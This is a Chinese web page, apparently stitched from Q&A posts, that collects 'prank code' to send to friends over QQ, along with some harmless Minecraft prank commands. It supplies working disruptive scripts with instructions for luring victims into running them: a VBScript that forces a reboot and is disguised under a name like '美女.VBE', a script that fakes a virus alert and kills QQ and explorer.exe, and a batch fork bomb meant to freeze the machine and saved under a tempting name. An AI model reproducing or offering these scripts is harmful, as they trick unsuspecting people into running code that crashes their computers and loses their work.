手机QQ的整人代码大全
第一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个QQ炸弹，在30秒后会自动关机。
下面说一下使用方法：
最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊！")
WScript.Echo("推荐你来的肯定是个坏蛋！")
WScript.Echo("欢迎来到被整软件站！")
WScript.Echo("是谁设计的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要点30次确定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
求一些好玩的整人代码~~
gsh=msgbox ("已经准备好格式化，准备开始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "开始格式化…… 哈哈！吓晕了吧，骗你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows发现一重要更新，将自动下载。"
wscript.sleep 3000
msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描？",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"发行者 田间的菜鸟 "+chr(13)+"安全评级 高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型：木马",,"windows扫描附件"
msgbox "是否阻止其安装？",vbyesno
wscript.sleep 3000
msgbox "阻止失败！请检查防火墙是否开启！"
wscript.sleep 5000
msgbox "正在尝试强行删除…"
wscript.sleep 5000
msgbox "失败！"
wscript.sleep 5000
msgbox "您的电脑已陷入危险之中，请赶快扫描病毒！"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊！"
wscript.sleep 3000
msgbox "很高兴见到你！"
wscript.sleep 3000
msgbox "您的电脑可能已经感染病毒！",,"WINDOWS防火墙警告"
wscript.sleep 3000
msgbox "我控制你的电脑了！"
wscript.sleep 3000
msgbox "不信？那我给你关机看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧！"
msgbox "帮你解除关机……"
s.run "shutdown -a"
msgbox "再给你打开记事本写封信，劝你最好别动，要不然会引起系统混乱~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示：刚才的“病毒”是假的，只不过是吓你玩玩~"
s.run "explorer"
”
我的世界整人指令是什么？
使用这个整蛊方法有两个前提
一是你的朋友家周围要有一个盔甲架
二是需要有一只小鸡
不满足条件？
那就创造条件~
在聊天窗口输入
/give @s command_block
先获得三个命令方块
将它们放在你朋友家门口
首先点开左边的命令方块
在它的命令输入栏输入
execute @e[type=armor_stand] ~ ~ ~ spreadplayers ~ ~ 1 10 @e[type=chicken,c=1]
方块类型选择循环
条件设置成无条件
红石选择保持开启
再点开中间的命令方块
在它的命令输入栏输入
execute @e[type=chicken] ~ ~ ~summon arrow ~ ~20 ~
其他设置同上
最后点开第三个命令方块
在它的命令输入栏输入
execute @e[type=chicken] ~ ~ ~ tp @s
其他设置同上
设置好指令之后
你的朋友家门口
就会出现一只到处飞的鸡
以及“箭雨”
从屋里出来的他一定是满头问号
如果想关闭也很简单，打掉盔甲架即可~
守卫塔
在地上放置六块石砖
在顶上放置一个黑曜石
在黑曜石的四个面放上铁栅栏
铁栅栏上放置圆石墙
在黑曜石上放置末影水晶
周围的圆石墙上
都放置三格高的玻璃
接着往里面塞守卫者（请忽略左下角）
守卫者会掉落到黑曜石上面
然后再把玻璃拆掉
最后用命名牌给这些守卫者命名
（推荐使用英文命名，如“ABC”）
然后输入指令
/effect @e[name=ABC] invisibility 1000000
这样守卫者就会隐身很长一段时间
也就大概两百多个小时吧
做完这些，守卫塔就做好了
让我们来看看效果~
只要靠近它
它就会发出紫色射线
不明所以的朋友肯定会被吓一跳
会以为末影水晶攻击人了呢~
冒险家们还有没有什么整蛊朋友的好伎俩呢？
可以评论里分享给大家
评论点赞第一的冒险家
我们将送出“异域女神”皮肤兑换码哦~
求一些好玩的整人代码？
.bat文件
【测试平台】32bit XP
【功能】让电脑死机
-----代码开始------
%0|%0
-----代码结束------
使用方法：
1、新建个文档【别告我你不会】
2、复制粘贴那段代码
3、保存为XXXXX.bat【XXXXX为随意名字，比如刷钻什么的，怎么诱惑怎么写】
4、运行【再次警告，该代码执行后无法通过任务管理器结束，只能重启或者等他死机然后重启】
【郑重警告！】
最好别拿自己电脑测试，否则后果自负，也别没看该警告就去举报我！由此代码造成的一切后果不承担一切责任！【被朋友打自负……?】
【代码原理】
通过不停的调用cmd.exe造成系统资源消耗，理论CPU越好，资源消耗越快，死机越快。【双核笔记本实测2分钟之内准死机】
手机qq整人代码大全谁有？ 发一下 谢谢
第一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个QQ炸弹，在30秒后会自动关机。
下面说一下使用方法：
最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊！")
WScript.Echo("推荐你来的肯定是个坏蛋！")
WScript.Echo("欢迎来到被整软件站！")
WScript.Echo("是谁设计的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要点30次确定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")